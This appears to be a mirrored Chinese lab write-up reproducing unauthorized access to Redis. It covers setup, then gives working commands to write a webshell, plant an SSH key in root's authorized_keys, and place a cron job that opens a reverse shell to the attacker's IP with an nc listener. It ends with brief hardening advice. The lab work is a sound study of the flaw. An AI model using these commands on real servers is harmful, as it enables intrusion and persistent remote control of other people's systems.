11

Redis未授权访问漏洞复现

 4 years ago
source link: https://www.freebuf.com/vuls/223432.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

漏洞复现

攻击机 kali ip:192.168.70.140 靶机 Ubuntu 16.04 ip:192.168.70.133

一、环境搭建

1、下载安装redis

wget http://download.redis.io/releases/redis-3.2.11.tar.gz

2、 解压压缩包

tarzxvfredis-3.2.11.tar.gz。

3、进入解压目录redis-3.2.11 执行make命令

4、 进入src目录 cd redis-3.2.11/src

5、将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

MVNZvib.jpg!web

UbUBZvB.jpg!web

返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

IR7JNnj.jpg!web

使用/etc/目录下的reids.conf文件中的配置启动redis服务:

zAJvumE.jpg!web

6、编辑etc中的redis配置文件redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉

2YBzQfU.jpg!web

关闭保护模式,允许远程连接redis服务将yes 改为no

63U7nym.jpg!web

二、利用方式

写入webshell

测试目标靶机是否存在未授权访问,下面靶机存在未授权访问

1.远程连接redis

zi6RB3v.jpg!web

2.在靶机写入cs.php文件

我们将shell写入/home/ubuntus/cs目录下

save保存

VziU32V.jpg!web

3.在靶机查看,有cs.php文件,shell写入完成

AzMVrqY.jpg!web

如果写入网站服务的路径下,后续可以使用工具连接shell

通过写入SSH公钥实现ssh登录

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key

1、首先在攻击机(kali)上生成ssh公钥

zYVfYn7.jpg!web

进入.ssh目录:cd.ssh/

2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)

(echo -e”\n”;cat id_rsa.pub;echo -e “\n”)>key.txt

eiUJFnq.jpg!web

3.将key.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat key.txt|redis-cli -h 192.168.70.133 -x set crack

JFVZfaq.jpg!web

4.远程登录靶机的Redis服务,redis-cli -h 192.168.70.140

5.更改redis备份路径为ssh公钥存放目录

6.设置上传公钥的备份文件名字为authorized_keys

save保存

JBFbUbb.jpg!web

7.在攻击机上直接ssh免密登录靶机,免密登录成功

MjMZZ3z.jpg!web

nc反弹

目标计为centos

在攻击机(kali)执行 nc -v -l -p 9999 监听

连接目标主机:redis-cli -h 192.168.70.140

写入shell并保存

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”

config set dir /var/spool/cron

config set dbfilename root

save

客户端会收到目标机的反弹shell。**在ubuntu测试计划任务写入成功但不执行

config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面

set xxx “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.70.140/9999 0>&1\n\n”

//直接往当前用户的crontab里写入反弹shell,换行也是必须的

三、修复建议

1.禁止一些高危命令
2.以低权限运行 Redis 服务
3.禁止外网访问 Redis

*本文作者:shineT,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK